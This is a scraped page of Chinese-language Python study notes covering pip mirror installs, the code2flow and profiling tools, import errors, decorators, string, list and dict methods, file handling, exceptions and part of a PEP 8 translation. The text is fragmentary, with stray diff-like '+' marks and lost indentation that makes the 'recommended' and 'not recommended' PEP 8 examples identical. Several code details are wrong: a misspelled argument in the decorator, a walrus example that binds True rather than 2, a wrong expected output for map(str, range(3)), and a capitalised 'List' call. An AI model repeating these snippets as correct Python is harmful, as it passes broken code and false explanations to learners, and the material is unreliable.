+rm /u01/fmw_12.2.1.3.0_wls_quick.jar /u01/oraInst.loc /u01/install.file
+
然后重启容器
docker restart [container_id]
+
Python 具有编译器。 但是,该编译器不会将源代码直接转换为计算机可以理解的格式, 而是以特殊格式生成 Python 解释器可以解释和运行的代码。
解释器 是运行每个指令的程序。 它跟踪 RAM 中值的存储位置。 解释器还知道如何与文件系统或网络等外部资源进行交互。
换句话说,解释器是一个执行环境,它管理你的意图与计算机内部运作之间的复杂交互。
Python 解释器可用于许多计算机平台。 例如,如果在 Linux 上编写了 Python 代码,该代码也将在 macOS 和 Windows 上运行。 无需为特定计算平台编译源代码就可以运行程序。
py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencc
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+py -3.8 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
+pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade pip
+
- 补充:将包装到指定路径:
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pygame --target=C:/Users/233/AppData/Local/Programs/Python/Python38/Lib/site-packages +
code2flow
---- 根据 python 代码生成项目结构及函数调用图Code2flow generates call graphs for dynamic programming language. Currently, code2flow supports Python and Javascript.
The basic algorithm is simple:
Code2flow is useful for:
clone
code2flow 仓库 或者 download Zip
或者在此处获取我下好的仓库压缩包 (2021.5.22
) 并解压Windows 10 (64-bit) v-2.47.1
); 下载完后运行并安装此软件(安装过程中记得勾选添加环境变量)python 环境管理工具
(这里我用的 anaconda
) 在一个 python 环境
下打开命令行(我直接用的 Pycharm 打开项目 然后选择一个 conda 环境作为项目的python解释器之后在Pycharm的终端命令行中执行的) python setup.py install
+
Scripts
目录下可以看到一个 code2flow
文件不支持中文,注释也不行,因此第一步就是要给待会要作为基底生成流程图的python文件去中文注释
由于 VSCode
的查询功能有正则匹配的模式,所以想到使用 VSCode
直接去除整个文档的注释
^#.*
匹配以#开头后接任意个任意字符的语句来去掉注释行)[PS : .
不会匹配 \n
(换行)] 匹配行首注释#.*
匹配行尾注释 将去除注释的文件和 安装过程中最后指出的 Scripts
目录下的 code2flow
文件拷贝到同一文件目录下并用已经安装好 code2flow
的 python环境
打开该文件夹并打开命令行执行
python code2flow mypythonfile.py
+
pip install pyinstrument
+
用例: 单文件脚本分析并输出 html 分析页
pyinstrument -r html script.py
+
import datetime
+
+# 程序开始处:
+begin = datetime.datetime.now()
+
+# 程序结束处:
+end = datetime.datetime.now()
+print("程序执行时间:{0}".format(end-begin))
+
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple guppy3
+
from guppy import hpy
+h = hpy()
+print(h.heap())
+
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -U memory_profiler
+
import memory_profiler
+
+@memory_profiler.profile
+def 函数名():
+ 你要测试内存占用的代码
+
+
+函数名() # 运行此函数
+
相对导入引发的相关问题
python - ImportError : Attempted relative import with no known parent package - Stack Overflow
python - Relative imports for the billionth time - Stack Overflow
ModuleNotFoundError: No module named '__main__.src_test1'; '__main__' is not a package
+
一般出现于运行的当前文件中通过相对引用 .xxx
引入其他模块时由于运行时当前模块名为 __main__
所以会对相对引用路径进行拼接导致引用错误
解决方法: 引用当前文件同级目录下的模块可以不用 .
拼接直接 import xxx
ImportError: attempted relative import with no known parent package
+
|--- test_main.py
+|--- src
+ |--- __init__.py
+ |--- src_test1.py
+ |--- src_test2.pys
+ |--- test_src.py
+
src_test1.py
:
from .src_test2 import Test2
+def func1():
+ pass
+
test_src.py
:
from src_test1 import fun1
+
运行 test_src.py
会上述错误, 问题在于引入 src_test1
时, src_test1
内使用 .
拼接相对路径引用 src_test2
, 由于 .
的存在, 需要先找到父包才能继续拼接路径, 但是当前 test_src.py
被认为是根结点(没有父包), 所以会报 no know parent package
需要注意的是: 上面的报错都是运行时报错, 在编写代码时至少 VSCode 是不会报错的, 那么个人的解决方案就是将主业务全放在工作区根目录下的一个目录下, 然后在根目录放一个 py
文件调用程序主入口来启动程序
Rest 风格的注释:
"""
+This is a reST style.
+
+:param param1: this is a first param
+:param param2: this is a second param
+:returns: this is a description of what is returned
+:raises keyError: raises an exception
+"""
+
>>>a = {1: [1,2,3]}
+>>> b = a.copy()
+>>> a, b
+({1: [1, 2, 3]}, {1: [1, 2, 3]})
+>>> a[1].append(4)
+>>> a, b
+({1: [1, 2, 3, 4]}, {1: [1, 2, 3, 4]})
+
>>>import copy
+>>> c = copy.deepcopy(a)
+>>> a, c
+({1: [1, 2, 3, 4]}, {1: [1, 2, 3, 4]})
+>>> a[1].append(5)
+>>> a, c
+({1: [1, 2, 3, 4, 5]}, {1: [1, 2, 3, 4]})
+
b = a: 赋值引用,a 和 b 都指向同一个对象。
b = a.copy(): 浅拷贝, a 和 b 是一个独立的对象,但他们的子对象还是指向统一对象(是引用)。
b = copy.deepcopy(a): 深度拷贝, a 和 b 完全拷贝了父对象及其子对象,两者是完全独立的。
负号指时数字应该是左对齐的,“0”告诉Python用前导0填充数字,正号指时数字总是显示它的正负(+,-)符号,即使数字是正数也不例外。
可指定最小的字段宽度,如:"%5d" % 2。
也可用句点符指定附加的精度,如:"%.3d" % 3。
# 例:数字格式化
+nYear = 2018
+nMonth = 9
+nDay = 12
+# 格式化日期 %02d数字转成两位整型缺位填0
+print ('%04d-%02d-%02d' %(nYear,nMonth,nDay))
+>> 2018-09-12 # 输出结果
+
+fValue = 8.123
+print ('%06.2f' %fValue) # 保留宽度为6的2位小数浮点型
+>> 008.12 # 输出
+
+print ('%d' %10) # 输出十进制
+>> 10
+
+print ('%o' %10) # 输出八进制
+>> 12
+
+print ('%02x' %10) # 输出两位十六进制,字母小写空缺补零
+>> 0a
+
+print ('%04X' %10) # 输出四位十六进制,字母大写空缺补零
+>> 000A
+
+print ('%.2e' %1.2888) # 以科学计数法输出浮点型保留2位小数
+>> 1.29e+00
+
Python 海象运算符 :=
是在 PEP 572 中提出,并在 Python3.8 版本并入发布。
海象运算符 :=
可用于在表达式中赋值,例如:
a = 2
+if a > 1:
+ print("233")
+
用 :=
写的话就是:
if a:=2 > 1:
+ print("233")
+
g = lambda x:x+1
+
相当于:
def g(x):
+ return x+1
+
def dog(name:str, age:(1, 99), species:'狗狗的品种') -> tuple:
+ return (name, age, species)
+
dog.__annotations__
+# {'age': (1, 99), 'name': str, 'return': tuple, 'species': '狗狗的品种'}
+
def dog(name:str ='dobi', age:(1, 99) =3, species:'狗狗的品种' ='Labrador') -> tuple:
+ return (name, age, species)
+
def func_kwargs(farg, **kwargs):
+ print("formal arg:", farg)
+ for key in kwargs:
+ print("keyword arg: %s: %s" % (key, kwargs[key]))
+func_kwargs(1 ,id=1, name='youzan', city='hangzhou',age ='20',四块五的妞是 = '来日方长的')
+print('--------------------')
+# 输出结果如下:
+# formal arg: 1
+# keyword arg: id: 1
+# keyword arg: name: youzan
+# keyword arg: city: hangzhou
+# keyword arg: age: 20
+# keyword arg: 四块五的妞是: 来日方长的
+#利用它转换参数为字典
+
+def kw_dict(**kwargs):
+ return kwargs
+print(kw_dict(a=1,b=2,c=3))
+# 输出结果如下:
+# --------------------
+# {'a': 1, 'b': 2, 'c': 3}
+
Python 一切皆对象, 函数也不例外, 可以通过将函数赋给变量, 这样通过该变量也可以调用该函数
def Func1():
+ print("Hello")
+
+f = Func1
+f()
+
可以通过函数的 __name__
属性拿到函数名:
如果现在有个需求是在每个函数执行时都要输出日志, 那么此时可以使用 decorator(装饰器), 比如如下装饰器:
# %%
+# 输出日志的函数装饰器
+def log(func):
+ def wrapper(*args, **kwargs):
+ print(f'call {func.__name__}()')
+ return func(*asrgs, **kwargs)
+ return wrapper
+
要使用这个装饰器需要用 @ 语法将其置于被装饰函数的定义处, 如:
@log
+def func2():
+ print("亻尔女子")
+
+func2()
+
将 @log
放在 func2
的定义处, 相当于执行了:
func2 = log(func2)
+
由于 log
是个装饰器, 返回一个函数, 所以原来的 func2
依然存在, 只是同名的 func2
变量指向了新的函数, 于是使用 func2()
将会执行新的函数, 也即 log()
中返回的 wrapper()
wrapper()
的参数为 (*args, **kwagrs)
可以接收任一参数, 在 wrapper()
中先打印了日志接着调用了原本的函数
如果装饰器本身需要传入参数的话则需要再多编一层函数, 比如给 log 加上自定义文本前缀
# 给 log 加上自定义文本前缀
+def log(text):
+ def decorator(func):
+ def wrapper(*args, **kwargs):
+ print(f'{text}, {func.__name__}()')
+ return func(*args, **kwargs)
+ return wrapper
+ return decorator
+
用 log
装饰函数用法如下:
@log('execute')
+def func3():
+ print('你好')
+
+func3()
+
由于函数也是对象, 有 __name__
等属性, 使用上述写法的装饰器再调用装饰完的函数的 __name__
会发现已经变成 wrapper
了
而有些依赖函数签名的代码使用这种装饰器的话就会报错, 此时需要将被装饰函数的属性也移过来, 不过倒不需要手动 wrapper.__**__ = func.__**__
, python 有个内置的 functools.wraps
可以实现此操作:
# 对齐属性
+import functools
+
+
+def log(text):
+ def decorator(func):
+ @functools.wraps(func)
+ def wrapper(*args, **kwargs):
+ print(f'{text}, {func.__name__}()')
+ return func(*args, **kwargs)
+ return wrapper
+ return decorator
+
+@log('执行')
+def func4():
+ print('hello')
+
+func4()
+
print(txt[::-1])
+
列表
index() 函数用于从列表中找出某个值第一个匹配项的索引位置。
list.index(x[, start[, end]])
+
# 举例说明:
+>>> str=[1,2,3,4,5,2,6]
+>>> str.remove(2)
+>>> str
+>>> [1, 3, 4, 5, 2, 6]
+
>>> str=[0,1,2,3,4,5,6]
+>>> str.pop(1) #pop删除时会返回被删除的元素
+>>> str
+>>> [0, 2, 3, 4, 5, 6]
+>>> str2=['abc','bcd','dce']
+>>> str2.pop(2)
+>>> 'dce'
+>>> str2
+>>> ['abc', 'bcd']
+
# 举例说明:
+>>> str=[1,2,3,4,5,2,6]
+>>> del str[1]
+>>> str
+>>> [1, 3, 4, 5, 2, 6]
+
+>>> str2=['abc','bcd','dce']
+>>> del str2[1]
+>>> str2
+>>> ['abc', 'dce']
+
+
>>> str=[0,1,2,3,4,5,6]
+>>> del str[2:4] #删除从第2个元素开始,到第4个为止的元素(但是不包括尾部元素)
+>>> str
+>>> [0, 1, 4, 5, 6]
+
+
>>> str=[0,1,2,3,4,5,6]
+>>> del str
+>>> str #删除后,找不到对象
+
Traceback (most recent call last):
+File "<pyshell#27>", line 1, in <module>
+str
+NameError: name 'str' is not defined
+
注意:del是删除引用(变量)而不是删除对象(数据),对象由自动垃圾回收机制(GC)删除。
s1 = (1, 2, 3, 4, 5, 6)
+s2 = (2, 3, 5)
+s3 = []
+for i in s1:
+ if i not in s2:
+ s3.append(i)
+print('s1_1:', s1)
+s1 = s3
+print('s2:', s2)
+print('s3:', s3)
+print('s1_2:', s1)
+
sort() 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。
list.sort( key=None, reverse=False)
+
map() 会根据提供的函数对指定序列做映射。
map(function, iterable, ...)
+
>>>def square(x) : # 计算平方数
+... return x ** 2
+...
+>>> map(square, [1,2,3,4,5]) # 计算列表各个元素的平方
+[1, 4, 9, 16, 25]
+>>> map(lambda x: x ** 2, [1, 2, 3, 4, 5]) # 使用 lambda 匿名函数
+[1, 4, 9, 16, 25]
+
+# 提供了两个列表,对相同位置的列表数据进行相加
+>>> map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10])
+[3, 7, 11, 15, 19]
+
A_object = map(str,range(3))
+A_list = list(A_object)
+B_list = list(A_object)
+# 观察A_list,其值为 ['1','2','3']
+# 观察B_list,其值为 []
+
实验:
+
+>>A_object = map(str,range(3))
+>>num = A_object.__next__()
+>>num
+'0'
+>>num = A_object.__next__()
+>>num
+'1'
+>>A_list = List(A_object)
+>>A_list
+['2']
+#此时,A_object已经指向最末尾,空元素了。再次调用next试试
+>>num = A_object.__next__()
+Traceback( most recent call last):
+ Filr "<stdin>" ,line 1 , in <module>
+StopIteration
+可见,该对象已经到了终点了,不能用了。
+
list_x = [3, 8, 2, 6, 8]
+print("list_x = [3, 8, 2, 6, 8]")
+list_w = [2000, 3000, 2500, 1000, 1500]
+print("list_w = [2000, 3000, 2500, 1000, 1500]")
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+print("list_c = [0.050, 0.050, 0.075, 0.075, 0.075]")
+wc = map(lambda w, c: w * c, list_c, list_w)
+print("wc = map(lambda w, c: w * c, list_c, list_w) = {0}".format(wc))
+print("list(wc):{0}".format(list(wc)))
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+print("wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = {0}".format(wcx))
+print("list(wcx):{0}".format(list(wcx)))
+a = sum(wcx)
+print("a = sum(wcx) = {0} ; wcx = {1}".format(a, wcx))
+b = sum(wc)
+print("b = sum(wc) = {0}".format(b))
+print("wc = {0}".format(wc))
+print("type(a) = {0}, type(b) = {1}".format(type(a), type(b)))
+x1 = a / b
+print("x1 = a / b = {0}".format(x1))
+print("sum(wc):{0} \n type(sum(wcx)):{1} \n type(sum(wc)):{2} \n".format(sum(wc), type(sum(wcx)), type(sum(wc))))
+print("wc:{0}".format(wc))
+print("wcx:{0}".format(wcx))
+x1 = sum(wcx) / sum(wc)
+print("x1 = sum(wcx) / sum(wc) = {0}".format(x1))
+
+# 运行结果:
+list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w) = <map object at 0x00000210CFA9A070>
+list(wc):[100.0, 150.0, 187.5, 75.0, 112.5]
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x) = <map object at 0x00000210CFA9A040>
+list(wcx):[300.0, 1200.0, 375.0, 450.0, 900.0]
+a = sum(wcx) = 0 ; wcx = <map object at 0x00000210CFA9A040>
+b = sum(wc) = 0
+wc = <map object at 0x00000210CFA9A070>
+type(a) = <class 'int'>, type(b) = <class 'int'>
+Traceback (most recent call last):
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 19, in <module>
+ x1 = a / b
+ZeroDivisionError: division by zero
+
list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w)
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum(wcx)
+b = sum(wc)
+print(type(a), type(b))
+x1 = a / b
+print(x1)
+print(sum(wc), type(sum(wcx)), type(sum(wc)))
+x1 = sum(wcx) / sum(wc)
+print(x1)
+
+# 运行结果:
+Traceback (most recent call last):
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 12, in <module>
+ x1 = sum(wcx) / sum(wc)
+ZeroDivisionError: division by zero
+<class 'float'> <class 'float'>
+5.16
+0 <class 'int'> <class 'int'>
+
# 原因解释:
+list_x = [3, 8, 2, 6, 8]
+list_w = [2000, 3000, 2500, 1000, 1500]
+list_c = [0.050, 0.050, 0.075, 0.075, 0.075]
+wc = map(lambda w, c: w * c, list_c, list_w)
+wcx = map(lambda w, c, x: w * c * x, list_c, list_w, list_x)
+a = sum(wcx)
+print("list(wcx) = {0}".format(list(wcx)))
+print("wcx._next_() : {0}".format(wcx.__next__()))
+
+# 运行结果:
+Traceback (most recent call last):
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 8, in <module>
+ print("wcx._next_() : {0}".format(wcx.__next__()))
+StopIteration
+list(wcx) = []
+
+
注意: Pyhton2.7 返回列表,Python3.x 返回迭代器对象,具体内容可以查看:Python3 filter() 函数
filter(function, iterable)
+
字符串
使用 f 修饰符可以在字符串内支持大括号内的 python 表达式
Python replace() 方法把字符串中的 old(旧字符串) 替换成 new(新字符串),如果指定第三个参数max,则替换不超过 max 次。
str.replace(old, new[, max])
+
Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
str.split(str="", num=string.count(str)).
+
注意:该方法不会改变原本的字符串
# 实例
+str_t = "Line1-abcdef \nLine2-abc \nLine4-abcd"
+print("str_t:\n"+str_t)
+print("str_t.split():")
+print(str_t.split()) # 以空格为分隔符,包含 \n
+print("str_t.split(' ', 1):")
+print(str_t.split(' ', 1)) # 以空格为分隔符,分隔成两个
+
+# 运行结果
+str_t:
+Line1-abcdef
+Line2-abc
+Line4-abcd
+str_t.split():
+['Line1-abcdef', 'Line2-abc', 'Line4-abcd']
+str_t.split(' ', 1):
+['Line1-abcdef', '\nLine2-abc \nLine4-abcd']
+
+
Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
str.join(sequence)
+
# 实例
+str_t = ""
+seq = ("a", "b", "c")
+print(str_t.join(seq))
+# 运行结果
+abc
+
Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
str.strip([chars]);
+
# 用法
+str_t = "00000003210Runoob01230000000"
+print(str_t.strip('0')) # 去除首尾字符 0
+print()
+str2 = " Runoob " # 去除首尾空格
+print(str2.strip())
+
+# 运行结果
+3210Runoob0123
+
+Runoob
+
Python lower() 方法转换字符串中所有大写字符为小写。
str.lower()
+
注意:此方法并不会改变原有列表,而是生成一个新列表
import string
string.ascii_uppercase 所有大写字母
+string.ascii_lowercase 所有小写字母
+string.ascii_letters 所有字母
+string.digits 所有数字
+
d = {key1 : value1, key2 : value2 }
+
>>> dict = {'a': 1, 'b': 2, 'b': '3'}
+>>> dict['b']
+'3'
+>>> dict
+{'a': 1, 'b': '3'}
+
dict = {'Alice': '2341', 'Beth': '9102', 'Cecil': '3258'}
+
dict1 = { 'abc': 456 }
+dict2 = { 'abc': 123, 98.6: 37 }
+
把相应的键放入熟悉的方括弧,如下实例:
# 实例
+dict1 = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
+
+print("dict1['Name']: ", dict1['Name'])
+print("dict['Age']: ", dict1['Age'])
+
+# 运行结果
+dict1['Name']: Zara
+dict['Age']: 7
+
dict.items()
+
dict1 = {'Google': 'www.google.com', 'Runoob': 'www.runoob.com',
+ 'taobao': 'www.taobao.com'}
+
+print("字典值 : %s" % dict1.items())
+
+# 遍历字典列表
+for key, values in dict1.items():
+ print(key, values)
+
+# 运行结果
+字典值 : dict_items([('Google', 'www.google.com'), ('Runoob', 'www.runoob.com'), ('taobao', 'www.taobao.com')])
+Google www.google.com
+Runoob www.runoob.com
+taobao www.taobao.com
+
向字典添加新内容的方法是增加新的键/值对,修改或删除已有键/值对如下
# 实例
+dict1 = {'Name': 'Zara', 'Age': 7, 'Class':'First'}
+
+dict1['Age'] = 8 # 更新
+dict1['School'] = "RUNOOB" # 添加
+
+print("dict1['Age']: ", dict1['Age'])
+print("dict1['School']: ", dict1['School'])
+
+# 运行结果
+dict1['Age']: 8
+dict1['School']: RUNOOB
+
del dict['Name'] # 删除键是'Name'的条目
+dict.clear() # 清空字典所有条目
+del dict # 删除字典
+
str1.decode('gb2312')
+
str2.encode('gb2312')
+
s.decode('utf-8').encode('utf-8')
+
open(file, mode='r', buffering=-1, encoding=None,
+ errors=None, newline=None, closefd=True, opener=None)
+
模式 | 说明 |
---|---|
r | 读模式(默认模式,可省略),如果文件不存在,抛出异常 |
w | 写模式,如果文件已存在,先清空原有内容;如果文件不存在,创建新文件 |
x | 写模式,创建新文件,如果文件已存在则抛出异常 |
a | 追加模式,不覆盖文件中原有内容 |
b | 二进制模式(可与r、w、x或a模式组合使用) |
t | 文本模式(默认模式,可省略) |
+ | 读、写模式(可与其他模式组合使用) |
方法 | 功能说明 |
---|---|
close() | 把缓冲区的内容写入文件,同时关闭文件,释放文件对象 |
read([size]) | 从文本文件中读取并返回size个字符,或从二进制文件中读取并返回size个字节,省略size参数表示读取文件中全部内容 |
readline() | 从文本文件中读取并返回一行内容 |
readlines() | 返回包含文本文件中每行内容的列表 |
seek(cookie, whence=0, /) | 定位文件指针,把文件指针移动到相对于whence的偏移量为cookie的位置。其中whence为0表示文件头,1表示当前位置,2表示文件尾。对于文本文件,whence=2时cookie必须为0;对于二进制文件,whence=2时cookie可以为负数 |
write(s) | 把s的内容写入文件,如果写入文本文件则s应该是字符串,如果写入二进制文件则s应该是字节串 |
writelines(s) | 把列表s中的所有字符串写入文本文件,并不在s中每个字符串后面自动增加换行符。也就是说,如果确实想让s中的每个字符串写入文本文件之后各占一行,应由程序员保证每个字符串以换行符结束 |
with open(filename, mode, encoding) as fp:
+# 这里写通过文件对象fp读写文件内容的语句块
+
#以只读方式打开
+>>> file2=open(“c1.py”,”r”)
+#以读/写方式打开,指明文件路径
+>>> file3=open(“d:\\python35\\test.txt”,”w+”)
+#以读/写方式二进制文件
+ >>> file4=open(“tu3.jpg”,”ab+”)
+
import os
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/myData.txt'))
+with open(file_path, 'r', encoding='GBK') as f:
+ my1 = f.read(9)
+ my2 = f.readline() # 从当前指针处读写
+ my3 = f.readlines()
+print("f.read(9):", my1)
+print("f.readline():", my2)
+print("f.readlines():", my3)
+f.close()
+
+
+
+### 执行结果:
+f.read(9): learn pyt
+f.readline(): hon
+
+f.readlines(): ['hard work\n', '文本文件\n', '二进制文件']
+
weekday = ["Mon", "Tues", "Weds", "Thurs", "Fri", "Sat", "Sun"]
+print(weekday[2])
+print(weekday[7])
+
+# 执行结果:
+Weds
+Traceback (most recent call last):
+ File "E:/GithubProject/MyProJect/JuniorLessons_beta/BigDataMicroMajor/Python/globalTest.py", line 3, in <module>
+ print(weekday[7])
+IndexError: list index out of range
+
try:
+ weekday = ["Mon", "Tues", "Wed", "Thurs", "Fri", "Satur", "Sun"]
+ print(weekday[2])
+ print(weekday[7])
+except IndexError:
+ print("列表索引可能超出范围")
+
+# 运行结果:
+Wed
+列表索引可能超出范围
+
+
异常名称 | 描述 |
---|---|
BaseException | 所有异常的基类 |
SystemExit | 解释器请求退出 |
KeyboardInterrupt | 用户中断执行(通常是输入^C) |
Exception | 常规错误的基类 |
StopIteration | 迭代器没有更多的值 |
GeneratorExit | 生成器(generator)发生异常来通知退出 |
SystemExit | Python 解释器请求退出 |
StandardError | 所有的内建标准异常的基类 |
ArithmeticError | 所有数值计算错误的基类 |
FloatingPointError | 浮点计算错误 |
OverflowError | 数值运算超出最大限制 |
ZeroDivisionError | 除(或取模)零 (所有数据类型) |
AssertionError | 断言语句失败 |
AttributeError | 对象没有这个属性 |
EOFError | 没有内建输入,到达EOF 标记 |
EnvironmentError | 操作系统错误的基类 |
IOError | 输入/输出操作失败 |
OSError | 操作系统错误 |
WindowsError | 系统调用失败 |
ImportError | 导入模块/对象失败 |
KeyboardInterrupt | 用户中断执行(通常是输入^C) |
LookupError | 无效数据查询的基类 |
IndexError | 序列中没有没有此索引(index)【越界】 |
KeyError | 映射中没有这个键 |
MemoryError | 内存溢出错误(对于Python 解释器不是致命的) |
NameError | 未声明/初始化对象 (没有属性) |
UnboundLocalError | 访问未初始化的本地变量 |
ReferenceError | 弱引用(Weak reference)试图访问已经垃圾回收了的对象 |
RuntimeError | 一般的运行时错误 |
NotImplementedError | 尚未实现的方法 |
SyntaxError | Python 语法错误 |
IndentationError | 缩进错误 |
TabError | Tab 和空格混用 |
SystemError | 一般的解释器系统错误 |
TypeError | 对类型无效的操作 |
ValueError | 传入无效的参数 |
UnicodeError | Unicode 相关的错误 |
UnicodeDecodeError | Unicode 解码时的错误 |
UnicodeEncodeError | Unicode 编码时错误 |
UnicodeTranslateError | Unicode 转换时错误 |
Warning | 警告的基类 |
DeprecationWarning | 关于被弃用的特征的警告 |
FutureWarning | 关于构造将来语义会有改变的警告 |
OverflowWarning | 旧的关于自动提升为长整型(long)的警告 |
PendingDeprecationWarning | 关于特性将会被废弃的警告 |
RuntimeWarning | 可疑的运行时行为(runtime behavior)的警告 |
SyntaxWarning | 可疑的语法的警告 |
UserWarning | 用户代码生成的警告 |
try:
+ 语句块
+except ExceptionName1:
+ 异常处理代码1
+except ExceptionName2:
+ 异常处理代码2
+……
+
+
while True:
+ try:
+ x = int(input("请输入数据"))
+ print(100/x)
+ except ZeroDivisionError:
+ print("异常信息:除数不能为0")
+ except ValueError:
+ print("异常信息:输入数据必须是阿拉伯数字")
+
+# 运行结果:
+请输入数据0
+异常信息:除数不能为0
+请输入数据s
+异常信息:输入数据必须是阿拉伯数字
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+
try:
+ 语句块
+except ExceptionName:
+ 异常处理代码
+…… # except可以有多条语句
+else:
+ 无异常发生时的语句块
+finally:
+ 必须处理的语句块
+
+
while True:
+ try:
+ x = int(input("请输入数据"))
+ print(100 / x)
+ except ZeroDivisionError:
+ print("异常信息:除数不能为0")
+ except ValueError:
+ print("异常信息:输入数据必须是阿拉伯数字")
+ else:
+ print("程序正常结束,未捕获到异常")
+
+# 运行结果:
+请输入数据0
+异常信息:除数不能为0
+请输入数据11.1
+异常信息:输入数据必须是阿拉伯数字
+请输入数据5
+20.0
+程序正常结束,未捕获到异常
+请输入数据
+
fName = "program0805.py"
+file = None
+try:
+ file = open(fName, "r", encoding="utf-8")
+ for line in file:
+ print(line, end="")
+except FileNotFoundError:
+ print("您要读取的文件不存在,请确认")
+else:
+ print("文件读取正常结束")
+finally:
+ print("文件正常关闭")
+ if file != None:
+ file.close()
+
+# 运行结果:
+您要读取的文件不存在,请确认
+文件正常关闭
+
Mark: 适用于需要给当前项目做个基本展示页面不想直接上前端框架的情况, 直接拿 python 生成网页应用程序
最基础的用法, 使用如下命令可以在本机 8000 端口起一个文件服务器
python -m http.server
+
要结合 ssl 的话需要先创建一组密钥
pip install py-ht
+
一般出现在更新 pip 显示无权访问后出现(因为更新前会先卸载旧版本pip, 安装新版本时出错就导致了 pip缺失)
可以使用 python -m ensurepip
重装 pip
然后会提示删掉 site_packages
中的 ~ip
等以 ~
开头的文件(夹), 因为这些文件都是没有安装成功的包
本文提供的Python代码编码规范基于Python主要发行版本的标准库。Python的C语言实现的C代码规范请查看相应的PEP指南。
这篇文档以及PEP 257(文档字符串的规范)改编自Guido原始的《Python Style Guide》一文,同时添加了一些来自Barry的风格指南。
这篇规范指南随着时间的推移而逐渐演变,随着语言本身的变化,过去的约定也被淘汰了。
许多项目有自己的编码规范,在出现规范冲突时,项目自身的规范优先。
Guido的一条重要的见解是代码阅读比写更加频繁。这里提供的指导原则主要用于提升代码的可读性,使得在大量的Python代码中保持一致。就像PEP 20提到的,“Readability counts”。
这是一份关于一致性的风格指南。这份风格指南的风格一致性是非常重要的。更重要的是项目的风格一致性。在一个模块或函数的风格一致性是最重要的。
然而,应该知道什么时候应该不一致,有时候编码规范的建议并不适用。当存在模棱两可的情况时,使用自己的判断。看看其他的示例再决定哪一种是最好的,不要羞于发问。
特别是不要为了遵守PEP约定而破坏兼容性!
几个很好的理由去忽略特定的规则:
每一级缩进使用4个空格。
续行应该与其包裹元素对齐,要么使用圆括号、方括号和花括号内的隐式行连接来垂直对齐,要么使用挂行缩进对齐3。当使用挂行缩进时,应该考虑到第一行不应该有参数,以及使用缩进以区分自己是续行。
- 挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。
推荐:
# 与左括号对齐
+foo = long_function_name(var_one, var_two,
+ var_three, var_four)
+
+# 用更多的缩进来与其他行区分
+def long_function_name(
+ var_one, var_two, var_three,
+ var_four):
+ print(var_one)
+
+# 挂行缩进应该再换一行
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
不推荐:
# 没有使用垂直对齐时,禁止把参数放在第一行
+foo = long_function_name(var_one, var_two,
+ var_three, var_four)
+
+# 当缩进没有与其他行区分时,要增加缩进
+def long_function_name(
+ var_one, var_two, var_three,
+ var_four):
+ print(var_one)
+
四空格的规则对于续行是可选的。
可选:
# 挂行缩进不一定要用4个空格
+foo = long_function_name(
+ var_one, var_two,
+ var_three, var_four)
+
当if语句的条件部分长到需要换行写的时候,注意可以在两个字符关键字的连接处(比如if),增加一个空格,再增加一个左括号来创造一个4空格缩进的多行条件。这会与if语句内同样使用4空格缩进的代码产生视觉冲突。PEP没有明确指明要如何区分i发的条件代码和内嵌代码。可使用的选项包括但不限于下面几种情况:
# 没有额外的缩进
+if (this_is_one_thing and
+ that_is_another_thing):
+ do_something()
+
+# 增加一个注释,在能提供语法高亮的编辑器中可以有一些区分
+if (this_is_one_thing and
+ that_is_another_thing):
+ # Since both conditions are true, we can frobnicate.
+ do_something()
+
+# 在条件判断的语句添加额外的缩进
+if (this_is_one_thing
+ and that_is_another_thing):
+ do_something()
+
(可以参考下面关于是否在二进制运算符之前或之后截断的讨论) 在多行结构中的大括号/中括号/小括号的右括号可以与内容对齐单独起一行作为最后一行的第一个字符,就像这样:
my_list = [
+ 1, 2, 3,
+ 4, 5, 6,
+ ]
+result = some_function_that_takes_arguments(
+ 'a', 'b', 'c',
+ 'd', 'e', 'f',
+ )
+
或者也可以与多行结构的第一行第一个字符对齐,就像这样:
my_list = [
+ 1, 2, 3,
+ 4, 5, 6,
+]
+result = some_function_that_takes_arguments(
+ 'a', 'b', 'c',
+ 'd', 'e', 'f',
+)
+
